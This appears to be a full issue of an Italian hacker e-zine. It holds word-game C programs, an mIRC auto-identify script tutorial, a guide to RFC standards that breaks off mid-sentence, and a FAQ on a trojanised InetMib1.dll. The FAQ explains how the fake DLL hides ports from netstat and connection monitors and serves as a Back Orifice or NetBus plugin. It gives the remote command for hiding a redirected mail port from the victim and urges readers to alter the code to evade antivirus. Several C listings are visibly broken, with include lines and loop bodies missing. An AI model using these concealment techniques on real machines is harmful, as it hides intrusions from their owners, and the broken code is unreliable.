XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX . - . //--------------------------------------------------------------------------------------------------- 22. Anagrammi / contrari / parole palindromiche //--------------------------------------------------------------------------------------------------- Ci siamo creati un file dizionario con TXT2DIX, l'equivalente file -paroliamo- (il dizionario delle firme caratteristiche), .. vogliamo trovare gli anagrammi possibili di tutte le parole del dizionario delle firme ::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::: anagram.c ::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::: #include #include // anagram vocabolario_paroliamo // trova gli anagrammi dal vocabolario impostato main(int nf, char **fi) { char uno0[40]; char uno[40]; char due0[40]; char due[40]; FILE *f; long p,k=0; f=fopen(fi[1],"rb"); fscanf(f,"%s",uno0); fscanf(f,"%s",due0); while(!feof(f)) { fscanf(f,"%s",uno); fscanf(f,"%s",due); if(strstr(uno,uno0)&&(strlen(uno)==strlen(uno0))) {printf("%s %s - %s\n",uno0,due0,due);k++;} else { if(k>0)printf("-----------------------------------%d\n",k+1); k=0; } strcpy(uno0,uno); strcpy(due0,due); } fclose(f); } ::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::: Se il dizionario delle firme lo avremo chiamato FIRME.TXT con ANAGRAM FIRME.TXT > OUT.TXT otterremo un file OUT.TXT di questo tipo -------------------------------- OUT.TXT aeiirstv riavesti - stiverai aeiirstv stiverai - sviterai aeiirstv sviterai - vestiari aeiirstv vestiari - vestirai aeiirstv vestirai - visitare aeiirstv visitare - visitera aeiirstv visitera - visterai -----------------------------------8 aeiirsv svierai - visiera -----------------------------------2 aeiirttv reattivi - riavetti -----------------------------------2 aeiirvz viziare - viziera -----------------------------------2 aeiisstv evitassi - svisiate aeiisstv svisiate - vietassi -----------------------------------3 aeiisttv evitasti - stiviate aeiisttv stiviate - svitiate aeiisttv svitiate - vietasti aeiisttv vietasti - visitate aeiisttv visitate - vistiate -----------------------------------6 ... ... -------------------------------- a sinistra della firma caratteristica abbiamo un termine col relativo anagramma di senso compiuto. All'interno di uno stesso settore si avranno tutti gli anagrammi relativi ad una firma comune, ovvero tutti gli anagrammi di una certa parola. In fondo alla riga di chiusura sezione un numero indichera' il numero di anagrammi trovati per firma caratteritica. Es: VISITATE ..anagrammi = evitasti, stiviate, svitiate, vietasti, vistiate Se vorremo invece trovare oltre agli anagrammi di senso compiuto anche le parole presenti nel dizionario con contrari di senso compiuto (parole palindromiche .. che a loro volta sono anche abbligatoriamente anagrammi!) dovremo compilare questi due programmi: ::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::: PREPALI.C ::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::: #include #include // pocessa un dizionari di tipo "paroliamo" [ chiave parola ] e crea un file // per palind2 main(int nf,char **tt) { char uno0[40]; char uno[40]; char due0[40]; char due[40]; FILE *f; long p,k=0; f=fopen(tt[1],"rb"); fscanf(f,"%s",uno0); fscanf(f,"%s",due0); while(!feof(f)) { fscanf(f,"%s",uno); fscanf(f,"%s",due); if(strstr(uno,uno0)&&(strlen(uno)==strlen(uno0))) { if(k==0){printf("[ %s %s ",due0,due);k++;} else {printf("%s ",due);k++;} } else { if(k!=0)printf("]\n"); k=0; } strcpy(uno0,uno); strcpy(due0,due); } fclose(f); } ::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::: ::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::: PALIND2.C ::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::: #include #include #include #include //trova gli anagrammi e i contrari delle parole nel file out //creato con prepalin main(int nf,char **f) { FILE *e,*v1,*v2; int p,c,c1; long h=0; char s[20][40],s1[40],s2[40]; v1=fopen(f[1],"rb"); while(!feof(v1)) { fscanf(v1,"%s",s1); if(strstr(s1,"]")) { for(p=1;p %s\n",s2); } } h=0; } if(h>0) { strcpy(s[h++],s1); } if(strstr(s1,"["))h=1; } fclose(v1); } ::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::: Passeremo il file delle firme caratteristiche FIRME.TXT prima al programma PREPALI PREPALI FIRME.TXT > OUTPUT.TXT ottenendo un file anagrammi inscatolati in una lista -------------------------- OUTPUT.TXT [ spaccerai spacciare ] [ scarcerai scaricare ] [ scarcerati straccerai stracciare ] [ ricercata traccerai tracciare ] [ accertassi scaricaste tracciasse ] [ caricaste scaricate ] [ accertasti stracciate tracciaste ] [ accertai caricate tacciare ] [ accertati tracciate ] [ accettai eccitata tacciate ] [ allaccero calcolare calcolera ] [ accoltela calcolate ] [ accumulare accumulera ] [ consacrare consacrera scarcerano ] [ accentrato concretata raccontate ] [ accentravo concretava ] [ accattone accettano ] [ accostare accostera ] ecc.. -------------------------- quindi passeremo questo file al programma finale PALIND2 che trovera' tutte la parole palindromiche. PALIND2 OUTPUT.TXT > PALI.TXT le parole palindromiche saranno visualizzate nel nuovo file di seguito alla lista. ------------------------- PALI.TXT 1(rassegni) 2(regnassi) 1(ginestra) 2(regnasti) 1(argenti) 2(girante) 3(granite) 4(ingrate) 5(integra) 6(regnati) 7(ritenga) 1(assegni) 2(ingessa) 3(negassi) <-> ingessa <-> assegni 1(negasti) 2(segnati) 1(potreste) 2(pretesto) 3(proteste) 1(potere) 2(tepore) 1(errero) 2(errore) 1(perse) 2(peser) 3(prese) 1(ere) 2(ree) <-> ere 1(rese) 2(sere) 1(esser) 2(resse) <-> resse <-> esser 1(rette) 2(tetre) ------------------------- .. le palindromiche sono segnate col simbolo iniziale <-> XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX . - . //--------------------------------------------------------------------------------------------------- 23. Aiuta Riddle. ;-) //--------------------------------------------------------------------------------------------------- In che senso? .. ce l'ha un senso.. ce l'ha. :)) nel file Archivio.ace sono presenti nel folder Parole anche altri programmetti per giocare con queste ultime. Charpre, Calchar, Charhex sono qcclusi anche qui di seguito come recitano le righe di help che ho inserito al loro interno: CALCHAR // calchar FILE_VOCABOLARIO FILE_OUTPUT LISTA_DI_CHAR // es calchar vocab.txt ok.txt abcdefgiosz // trova in vocab tutte le parole costruite con i caratteri citati CHARHEX // charhex FILE_VOCABOLARIO FILE_OUTPUT // es charhex vocab.txt ok.txt // trova in vocab tutte le parole costruite con i caratteri esadecimali CHARPRE // charpre FILE_VOCABOLARIO FILE_OUTPUT LISTA_DI_CHAR lun_parola // es charpre vocab.txt ok.txt parsifal 9 // trova in vocab tutte le parole costruite con i caratteri citati // vengono considerate solo le parole di lun_parola caratteri A cosa servono dovete scoprirlo da soli.. un esempio per aiutarvi ve lo da pero' :)) LILIS TENNY 3541 LILIS (rovesciato) = 51717 .. in esadecimale = CA05 = caos. Tenny in ROT13 = graal 3541 in esadecimale = dd5 .. rovesciato = SPP! Chissa' quante parole si possono scrivere con i caratteri esadecimali, e con quelli che rovesciati sembrano essere altre lettere.. mah! :)) Forse si potrebbe pure scoprire il significato di porte come la 31337, o chissa'.. Per questo e Per i piu' esigenti accludo pure un comodo e minimo programma per fare le conversioni da una base qualunque ad un altra base qualunque.. (so che a molti tornera' utile!) ;-) I programmi.. ::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::: CHARPRE.C ::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::: #include #include #include #include main(int nf,char **f) { FILE *e,*vocab; int p,c,c1; long h=0; char s[30],s1[30]; // charpre FILE_VOCABOLARIO FILE_OUTPUT LISTA_DI_CHAR lun_parola // es charpre vocab.txt ok.txt parsifal 9 // trova in vocab tutte le parole costruite con i caratteri citati // vengono considerate solo le parole di lun_parola caratteri vocab=fopen(f[1],"rb"); e=fopen(f[2],"wb"); strcpy(s1,f[3]); clrscr(); while(!feof(vocab)) { fscanf(vocab,"%s",s);h++; p=0; for(c=0;c #include #include #include main(int nf,char **f) { FILE *e,*vocab; int p,c,c1; long h=0; char s[30],s1[30]; // calchar FILE_VOCABOLARIO FILE_OUTPUT LISTA_DI_CHAR // es calchar vocab.txt ok.txt abcdefgiosz // trova in vocab tutte le parole costruite con i caratteri citati vocab=fopen(f[1],"rb"); e=fopen(f[2],"wb"); strcpy(s1,f[3]); clrscr(); while(!feof(vocab)) { fscanf(vocab,"%s",s);h++; p=0; for(c=0;c #include #include #include #include main(int nf,char **f) { FILE *e,*vocab; int n,m,p,c,c1; float j; long h=0; char s[30],s1[30]; // charhex FILE_VOCABOLARIO FILE_OUTPUT // es charhex vocab.txt ok.txt // trova in vocab tutte le parole costruite con i caratteri esadecimali f[3]="abcdefgiosz"; vocab=fopen(f[1],"rb"); e=fopen(f[2],"wb"); strcpy(s1,f[3]); clrscr(); while(!feof(vocab)) { fscanf(vocab,"%s",s);h++; p=0; for(c=0;c='0'&&s[n]<='9'?s[n]-'0':s[n]-'a'+10; j=j+m*pow(16,strlen(s)-n-1); } printf("(%20s) %20.f\n",s,j); fprintf(e,"(%20s) %20.0f\n",s,j); } } fclose(vocab); fclose(e); } ::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::: ::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::: BASE2BASE.C ::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::: #include #include char buf[0xaa]; char *l2s(long n,char *s,size_t mc,unsigned base) { char r; int v=0; if(base<2||base>36) return " *"; if(n<0){v=1;n=-n;} s[--mc]=0; for(mc--;mc>v&&n!=0;mc--){ r=(char)(n%base); if(r<=9)s[mc]=r+'0'; else s[mc]=r-10+'A'; n/=base;} if(v)s[--mc]='-'; if(mc>0)memset(s,32,mc+1); return s+mc;} char *b2b(const char *b1,int ba,int bb){ long n; size_t l=0xaa; char *c; n=strtol(b1,&c,ba); return l2s(n,buf,l,bb); } main(int nf, char **f) { printf("( %s )_%s ... (%s )_%s\n",f[1],f[2],b2b(f[1],atoi(f[2]),atoi(f[3])),f[3]); } ::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::: Sintassi di BASE2BASE BASE2BASE NUMERO Base_di_partenza Base_di_arrivo es BASE2BASE 137 10 2 = ( 137 )_10 ... ( 10001001 )_2 BASE2BASE 31337 8 10 = ( 31337 )_8 ... ( 13023 )_10 BASE2BASE SPP 32 8 = ( SPP )_32 ... ( 71471 )_8 ... FINE!! ..hi hi hi .. che lavoraccio. E con questo concludo sperando di essere stato utile a qualcuno e di non aver annoiato troppo gli altri. :)) -= MASTER *** =- master@spippolatori.com SPP MEMBER www.spippolatori.com =========================================================================================== ----------------------- Mirc 5.51 - Prima Parte ----------------------- By Darkman Creazione di uno script [prima parte] Premetto che ci sono vari modi per creare uno script, due tra questi sono: -Aggiungere righe e modificare i file già esistenti -Creare dei nuovi files e linkarli a Mirc Per il nostro primo menu ne creeremo uno in grado di farci settare alcuni nick ed in caso le pass necessarie per l' autoidentificazione. Creiamo un file con estensione .mrc (es. ai.mrc) in questi particolari files si deve inserire nell' intestazione il tipo di menu in cui appariranno i comandi: menu status,nicklist,query { "qui vanno inserite le righe di comando" } status: indica che questi comandi appariranno nel menu principale della finestra "status". nicklist: indica che questi comandi appariranno nel menu principale della finestra dei nicks. query: indica che questi comandi appariranno nel menu principale della finestra della query. Tra le due { (graffe) verranno inseriti i comandi necessari. Ora inseriamo tra queste due parentesi i seguenti comandi: - NickServ Auto-Idenitfy .On:/echo NickServ Auto-Identify is now ON | /set %non on .Off:/echo NickServ Auto-Identify is now OFF | /set %non off .- .[ %nick1 ] ..Set Nick:/set %nick1 $?*="Enter Nickname" | /echo NickServ Auto-Identify Password Set ..- ..Forget Nick:/set %nick1 UNSETTED | /echo NickServ Auto-Identify Nick Reset ..Forget Pass:/unset %npass1 | /echo NickServ Auto-Identify Password Reset ..Set Pass:/set %npass1 $?*="Enter NickServ Password" | /echo NickServ Auto-Identify Password Set ..- ..IDENTIFY:./msg nickserv identify %npass2 | /echo Auto-Identified to NickServ at $time .[ %nick2 ] ..Set Nick:/set %nick2 $?*="Enter Nickname" | /echo NickServ Auto-Identify Password Set ..- ..Forget Nick:/set %nick2 UNSETTED | /echo NickServ Auto-Identify Nick Reset ..Forget Pass:/unset %npass2 | /echo NickServ Auto-Identify Password Reset ..Set Pass:/set %npass2 $?*="Enter NickServ Password" | /echo NickServ Auto-Identify Password Set ..- ..IDENTIFY:./msg nickserv identify %npass2 | /echo Auto-Identified to NickServ at $time .[ %nick3 ] ..Set Nick:/set %nick3 $?*="Enter Nickname" | /echo NickServ Auto-Identify Password Set ..- ..Forget Nick:/set %nick3 UNSETTED | /echo NickServ Auto-Identify Nick Reset ..Forget Pass:/unset %npass3 | /echo NickServ Auto-Identify Password Reset ..Set Pass:/set %npass3 $?*="Enter NickServ Password" | /echo NickServ Auto-Identify Password Set ..- ..IDENTIFY:./msg nickserv identify %npass3 | /echo Auto-Identified to NickServ at $time .[ %nick4 ] ..Set Nick:/set %nick4 $?*="Enter Nickname" | /echo NickServ Auto-Identify Password Set ..- ..Forget Nick:/set %nick4 UNSETTED | /echo NickServ Auto-Identify Nick Reset ..Forget Pass:/unset %npass4 | /echo NickServ Auto-Identify Password Reset ..Set Pass:/set %npass4 $?*="Enter NickServ Password" | /echo NickServ Auto-Identify Password Set ..- ..IDENTIFY:./msg nickserv identify %npass4 | /echo Auto-Identified to NickServ at $time .[ %nick5 ] ..Set Nick:/set %nick5 $?*="Enter Nickname" | /echo NickServ Auto-Identify Password Set ..- ..Forget Nick:/set %nick5 UNSETTED | /echo NickServ Auto-Identify Nick Reset ..Forget Pass:/unset %npass5 | /echo NickServ Auto-Identify Password Reset ..Set Pass:/set %npass $?*="Enter NickServ Password" | /echo NickServ Auto-Identify Password Set ..- ..IDENTIFY:./msg nickserv identify %npass5 | /echo Auto-Identified to NickServ at $time In questo modo abbiamo creato un menu (NickServ Auto-Idenitfy) in cui sarà possibile settare se attivare l' autoidentificazione, fino a 5 nicks e le rispettive passwords. Facciamo una piccola spiegazione: .[ %nick1 ] ..Set Nick:/set %nick1 $?*="Enter Nickname" | /echo NickServ Auto-Identify Password Set ..- ..Forget Nick:/set %nick1 UNSETTED | /echo NickServ Auto-Identify Nick Reset ..Forget Pass:/unset %npass1 | /echo NickServ Auto-Identify Password Reset ..Set Pass:/set %npass1 $?*="Enter NickServ Password" | /echo NickServ Auto-Identify Password Set ..- ..IDENTIFY:./msg nickserv identify %npass2 | /echo Auto-Identified to NickServ at $time %nick1 è una variabile che viene letta e visualizzata, tutte le righe prima dei due punti indicano il nome del menu che verrà visualizzato, il /set serve in questo caso a settare la variabile secondo cosa scriveremo nella finestra che si visualizzerà eseguendo il comando $?*="Enter Nickname", il | indica che successivamente verrà eseguito un altro comando (in questo caso /echo), /echo visualizzerà sulla finestra status una scritta che corrisponde a NickServ Auto-Identify Password Set, /unset serve a cancellare una variabile precedentemente settata. Perchè questo script funzioni correttamente ora dobbiamo fare 2 cose: -Creare un secondo file -linkare i due files nel Mirc.ini Creiamo un secondo file chiamato remote.ini in cui verranno inserite tutte le nostre variabili nel seguente modo: [variables] n0=%nick1 UNSETTED n1=%nick2 UNSETTED n2=%nick3 UNSETTED n3=%nick4 UNSETTED n4=%nick5 UNSETTED Ora tutte le variabili per la corretta visualizzazione del menu sono settate. Apriamo il file mirc.ini andiamo alla fine del file dove è settato [rfiles] ed inseriamo seccessivamente alle righe già esistenti la seguente stringa: n3=ai.mrc ora il programma all' avvio saprà che dovrà caricare questo file. Aprimo il nostro Mirc e troveremo nei vari menu (nicklist, status e query) alla fine una nuova voce "NickServ Auto-Idenitfy". Ora vediamo come creare uno script per l' autoidentificazione del nick alla connessione del Mirc al server (necessario se il vostro nick è registrato). Questo script fà riferimento a variabili inserite nel primo script che abbiamo creato. Creiamo un file e lo chiamiamo ai.ini (oppure inseriamo i comandi alla fine del file aliases.ini) e settiamolo in questo modo: [aliases] n0=/ID { n1= if ( $me == %nick1 ) && ( %non == on ) { /pass %npass1 | goto end } n2= if ( $me == %nick2 ) && ( %non == on ) { /pass %npass2 | goto end } n3= if ( $me == %nick3 ) && ( %non == on ) { /pass %npass3 | goto end } n4= if ( $me == %nick4 ) && ( %non == on ) { /pass %npass4 | goto end } n5= if ( $me == %nick5 ) && ( %non == on ) { /pass %npass5 | goto end } n6= else { goto end } n7= :end n8=} In questo modo si crea un comando (/ID) che identificherà a seconda del nick che abbiamo (tra quelli settati nel precedente script) la password corrispondente. Ora per far eseguire questo file inseriamo la solita riga di comando nel nostro mirc.ini in [rfiles]: n4=ai.ini Fatto ciò per far si che venga eseguito automaticamente alla connessione al server IRC apriamo il nostro client e inseriamo in: file option IRC perform la seguente riga: /ID e abilitiamo il "on connect, perform these commands:" Ora quando ci connetteremo al server verremo identificati automaticamente. E quì finisce la prima parte del nostro script :-) =========================================================================================== InetMib1 fake FAQ by Devil SPP Member Introduzione ------------ Si potrebbe obiettare che questa FAQ sia del tutto superflua perche' il file leggimi.txt incluso nel pacchetto e' gia' abbastanza esplicativo. Io potrei rispondere: "Si e' vero ! Ma magari leggendo qui vi possono venire altre idee." Mai sottovalutare le varie angolazioni sotto cui vedere un singolo argomento: molto spesso, a me personalmente, le idee vengono cosi': analizzando qualcosa di perfettamente conosciuto in un' ottica completamente diversa. Mi piace pensare che, proprio perche' il programmatore medio ragiona sempre in una sola direzione, esistono bug impensabili... e sfruttabili :) D) Che cosa e' MIB ? R) Sta per Management Information Base ed e' un tentativo di standard per i dati gestionali di rete. In soldoni specifica la tipologia di informazioni che un host o un gateway devono raccogliere e le modalita' che gli amministratori devono seguire per accedervi. Ad esempio una delle tante specifiche dice che bisogna tener conto di tutti i pacchetti UDP uscenti ed entranti e che i software gestionali possono accedere a questi dati solo in read-only. MIB definisce un insieme di variabili che contengono i dati in otto grandi categorie ma non definisce le regole con cui accedere a queste variabili. Queste sono definite da un altro standard l'SMI (Structure of Management Information). L' SMI specifica che l'accesso all' informazione cercata passi per un meccanismo ad interrogazione di tipo gerarchico usando un linguaggio al tempo stesso flessibile ed interpretabile da un umano. Parlavamo di livelli gerarchici ed eccovi subito uno schemino: iso ccitt isp-ccitt 1 2 3 | org 3 | | dod 6 | | Internet 1---------- -------- ----------\ / | | \ / Directory mgmt Sperimental Private 1 2 3 4 | | mib ------------- 1 ---------------------------------------------- | | | | | | | | system Interfaces Addr.Translation ip icmp tcp udp egp 1 2 3 4 5 6 7 8 Come si puo' vedere le variabili sono disposte ad albero tipo directory.Questo e' un sistema ottimo per eseguire interrogazioni veloci. (infatti non e' un caso che molte entita' su internet seguano la stessa filosofia, vedi i nomi di dominio). Le ultime otto categorie riportate nell' albero sono le variabili MIB a cui abbiamo accennato prima. Le altre suddivisioni le ho omesse per chiarezza. Eseguire un' interrogazione MIB per avere i dati icmp, ad esempio, significa inviare in qualche modo all' host la sequenza di numeri siffatta: 1.3.6.1.2.1.5. Per eseguirne una sulle interfacce di rete dell' host la sequenza di interrogazione sara' : 1.3.6.1.2.1.2 Ognuna delle otto variabili si suddivide in ulteriori rami in cui ci sono variabili specifiche al tipo di richiesta. La variabile system ,ad esempio, ha 3 sottovariabili cosi' nominate: 1 sysdescr Descrizione del sistema (nome versione dell'hardware) 2 sysobjectID Identificazione del venditore del sottosistema di gestione di rete 3 sysUpTime Tempo in centesimi di secondi da quando il sottosistema di gestione e' partito. Vogliamo sapere chi e' il costruttore hardware ? Facciamo un'interrogazione con la sequenza 1.3.6.1.2.1.1.1. E cosi' per tutte le variabili MIB definite dallo standard. I vari protocolli di gestione (snmp e cmot) usano questa tipologia di interrogazione per far si che gli amministratori di rete sappiano, in ogni momento, lo stato delle loro macchine.(vedi SMS Microsoft, Tivoli ecc..) E' ovvio che non pretendo di essere esaustivo. Per ulteriori informazioni date un ' occhiata alle rfc 1155,1156. D) Che cosa e' InetMib1.DLL ? R) E' una libreria fornita a corredo dei sistemi windows che permette un tipo di interrogazione "locale" dello stato del sistema di rete. Un qualunque programma Win32 puo' chiamare le funzioni esportate da questa DLL e, utilizzando la sintassi gerarchica a cui accennavamo prima, avere informazioni sullo stato delle vari interfacce di rete installate. Netstat ed altri programmi equivalenti la usano per stampare statistiche molto utili su tutti i protocolli della suite TCP/IP. D) Come funziona la InetMib1.DLL fake ? R) L'idea che c'e' dietro il funzionamento della DLL "truccata" da me e' semplicissimo: - Costruisco una dll di nome InetMib1.dll che esporta le stesse funzioni dell'originale. - Rinomino la dll originale in Inetmib1.dev. - Dall' interno della dll "truccata" chiamo le funzioni originali filtrando quello che c'e' da filtrare. Quando un qualunque programma esterno che voglia avere le statistiche di sistema carichera' in memoria inetmib1.dll in realta' carichera' la libreria "truccata" che poi , a sua volta, carichera' l'originale rinominata. Le funzioni esportate dalla libreria truccata fanno un routing fedele delle chiamate all' originale (per avere risultati corretti delle statistiche) ma in un caso le risposte al chiamante NON vengono date. Il caso e' quello in cui il chiamante ci ha richiesto la tabella delle connessioni attive TCP e UDP e le porte che dovremmo ritornare indietro fanno parte del set di porte da nascondere. La Dll truccata infatti durante il processo di linking dinamico apre un file di testo, devset.ini, in cui c'e' una lista di porte che NON devono essere mostrate all' utente. Prima di ritornare i valori la InetMib1 truccata controlla che le porte in uso siano nella lista da nascondere. Se cio' e' vero non ritorna l'informazione e il povero netstat (o un qualunque programma equivalente) non potra' stampare i dati. Risultato netto per l'utente: la porta non e' in uso. D) Qual'e' il formato del file devset.ini ? R) Questo file viene creato dalla InetMib1.dll fake nella directory principale di windows (\Windows per win9X o \Winnt per Windows NT) E' un semplice file di testo editabile a mano con un qualunque editor (Edit.com va benissimo). Il primo numero del file puo' valere o 1 o 0. Se vale 1 il filtro delle porte e' attivo e quindi InetMib1.dll truccata si comportera' come ho detto prima. Se vale 0 il filtro e' disattivato e la dll truccata chiamera' fedelmente le funzioni originali senza alcun intervento. I venti numeri che seguono sono le porte che devono essere filtrate. Se sappiamo gia' quali sono le porte che devono essere nascoste basta editare questo file una volta per tutte e lasciarlo li' ad operare. D) Perche' rendere la Dll truccata plug-in di BO o NetBus ? R) Il motivo e' essenzialmente uno: avere un controllo delle porte filtrate anche da remoto. La Dll infatti esporta delle funzioni aggiuntive rispetto all' originale e che seguono lo standard di chiamata dei plug-in di BO e NetBus ( o di qualunque altro programma che si adegua a questo standard). Supponiamo infatti che l'utente utilizzi un programma di monitoraggio delle connessioni sempre attivo in memoria e supponiamo che noi da remoto vogliamo redirigere una sua porta per spedire mail anonime. Se noi facessimo una ridirezione senza nascondere la porta al minimo accenno di collegamento al server mail apparirebbe la situazione all' utente che potrebbe accorgersi della cosa. Invece noi da remoto, con il comando : pluginexec inetmib1:_InsertPort portadaredirigere aggiungeremo la porta a quelle da filtrare e l'utente non avra' alcun feedback degli eventuali collegamenti della sua porta con il server di posta. Uno potrebbe dire: "Vabbe' potrei editare il file di testo da remoto con BO o NetBus, perche' fare un plug-in ?". Ottima domanda, e nel caso l'utente usi solo netstat questa cosa funziona pure. Ma se l'utente usa un programma che gli da lo stato "in tempo reale" delle porte, l'accesso al file devset.ini sara' negato perche' in uso dalla DLL che non e' stata scaricata dalla memoria. Ovviamente (eheh) avevo pensato a questa eventualita' ed infatti se analizzate il sorgente l'array che mantiene la lista di porte da filtrare e' in una sezione SHARED, ovvero e' condivisa da tutte le istanze delle DLL truccate presenti eventualmente in memoria. Quindi non appena la DLL caricata dal server di BO andra' ad aggiungere una porta in piu' da filtrare la aggiungera' anche all' array della DLL caricata dal programma di monitor con l'effetto di filtrare effettivamente la porta in questione: carino no ? D) Posso usare la DLL senza usarla come plug-in di BO o NetBus ? R) Certamente. Il suo funzionamento non e' legato alla presenza di queste due backdoor. Come dovrebbe essere ormai chiaro l'essere un plug-in di BO o NB espande solo i campi di applicazione della DLL ma non ne limita le funzionalita'. D) Non c'e' pericolo che venga intercettata dagli AV ? R) Ovviamente si. La DLL contiene codice eseguibile come qualunque programma per windows. E' chiaro che maggiore sara' la diffusione della DLL maggiore saranno le probabilita' che cada nelle mani degli analisti virali. Voi comunque avete il codice e siete liberi di modificarlo a vostro piacimento per renderla invisibile alla scansione. Tutto sta alla vostra fantasia... D) La DLL puo' essere usata per nascondere le porte anche ad un personal firewall ? R) No. O almeno se il personal firewall e' ben strutturato no. Questi ultimi infatti non usano Inetmib1 per le loro statistiche ma, in genere, installano i propri kernel drivers per filtrare il traffico di rete. Se avete un personal firewall che usa la InetMib1 per avere lo stato delle connessioni: beh, cambiatelo ! Buon Divertimento Devil =========================================================================================== ----------------------------------------- Le RFC demistificate by Buttha SPP MeMbEr ----------------------------------------- Bene bene. Rieccoci qui: io con la voglia di scrivere e voi con la voglia di leggere (mah... hehehe) Di cosa vi voglio parlare? Delle RFC e di come cavarsela in mezzo a quella marea di documenti. Per questa piccola guida mi sono avvalso di due fonti: TCP/IP di Apogeo e la mia piccola esperienza. Vi siete mai trovati nella necessita' di cercare la documentazione su un qualche protocollo e di non sapere da dove cominciare? Bene, ecco i miei two cents d'aiuto. Incominciamo: gli standard della rete vengono pubblicati dalla IAB (Internet Architecture Board) sotto forma di RFC (Request For Comment). Volete sapere come funziona il TCP/IP? L'udp? L'icmp? L'smtp? C'e' scritto *tutto* nelle RFC. Consideratele una bibbia, una raccolta di tutte le informazioni che vi possono servire. Problemi: non tutti gli standard della rete diventano RFC standard, anche se vengono pubblicati in qualche RFC, inoltre, alcune RFC standard diventano obsolete e vengono rimpiazzate da altre RFC. Piccola nota: alcuni numeri di RFC mancano perche' ci sono proposte di RFC mai pubblicate. Parentesi dedicata al buon umore: alcune RFC non descrivono in alcun modo uno standard... per esempio la RFC 968 che da una visione ironica dei problemi che deve affrontare un amministatore di rete, oppure la RFC 527 che parla del linguaggio tutto particolare degli amministratori alle prese con discussioni sulla tecnologia, oppure la RFC 1118, intitolata "The Hitchhiker's Guide to the Internet" (Guida ad Internet per autostoppisti), un documento di aiuto ai nuovi utenti della rete, per chi comincia, insomma. Come nasce una RFC: chiunque puo' scrivere una RFC; questa viene valutata e classificata. La classificazione serve a stabilire se la RFC puo' essere considerata uno standard oppure no. Ecco le CLASSIFICAZIONI standard delle RFC: *********************** REQUIRED: obbligatorie. Tutti gli host devono implementarle RECCOMENDED: non sono obbligatorie ma sono, praticamente, implementate da tutti gli host della rete ELECTIVE: standard non obbligatorio; se lo si implementa, la sua configurazione e' completamente definita in una RFC elettiva LIMITED USE: RFC per uso limitato; non e' destinata ad un impiego generale NOT RECCOMENDED: non si consiglia di implementarle *********************** Ora vediamo qual e' il processo di evoluzione di una RFC prima che questa venga accettata come standard di Internet (sempre se lo diventera'... non e' detto). Ecco una lista di stati per una RFC, da quello meno importante a quello piu' importante (standard). Vediamo, cioe', tutti i passi: *********************** EXPERIMENTAL protocol: protocollo non consigliato per l'implementazione a meno che non si stia partecipando alla sperimentazione PROPOSED standard: e' passata attraverso un intenso processo di revisione. Si auspica l'implementazione e la sperimentazione da parte di parecchi gruppi ma bisogna aspettarsi la pubblicazione di alcune modifiche prima che diventi un Internet Standard DRAFT standard: specificazione che e' stata capita da tutti ed e' permanente. Serve come base per sviluppare l'implementazione finale INTERNET standard: la RFC ha raggiunto un'alto grado di maturita' tecnica. E' stato stabilito (dallo IESG: Internet Engineering Steering Group) che questa RFC e' un protocollo standard ufficiale e le e' stato assegnato un numero STD. Gli STD sono le RFC standard, quindi, a volte, e' piu' semplice trovare lo Standard Internet per un protocollo esaminando i documenti STD al posto delle RFC. Una RFC stantard, quindi, ha due numeri: il numero di RFC e il numero di STD. -------------- HISTORIC PROTOCOL: una RFC quando e' in uno qualsiasi dei quattro stadi di maturazione visti, puo' diventare, immediatamente, un historic protocol, cioe' un protocollo che difficilmente diventera' standard: e' stato eliminato e sostituito con un nuovo protocollo oppure e' stato abbandonato perche' non interessante INFORMATIONAL PROTOCOL: si tratta di protocolli sviluppati da rivenditori o da altre organizzazioni autorevoli al di fuori dello IESG. Sono pubblicati per fornire informazioni sulle loro specificazioni *********************** Il processo di maturazione di una RFC segue queste regole: 1) un protocollo viene proposto come standard allo IESG. Solo lo IESG puo' raccomandare che un protocollo intraprenda il percorso per diventare uno standard. Analogamente, solo in base alle raccomandazioni dello IESG un protocollo puo' spostarsi da uno stato all'altro 2) la transizione da standard proposto (proposed standard) a bozza standard (draft standard) puo' avvenire solo dopo che il protocollo e' rimasto per almeno sei mesi nello stato di standard proposto 3) la transizione da bozza standard a standard internet puo' avvenire solo dopo che il protocollo e' rimasto nello stadio di bozza (draft standard) per almeno quattro mesi 4) a volte si puo' stabilire che un protocollo non e' ancora pronto per la standardizzazione. Lo si assegna, quindi, ad uno stadio sperimentale e, per reinserirlo nel percorso per diventare standard, lo IESG deve presentarlo nuovamente dopo averlo rielaborato 5) a volte un protocollo viene sostituito da un'altro protocollo. In questo caso passa allo stadio storico (historic 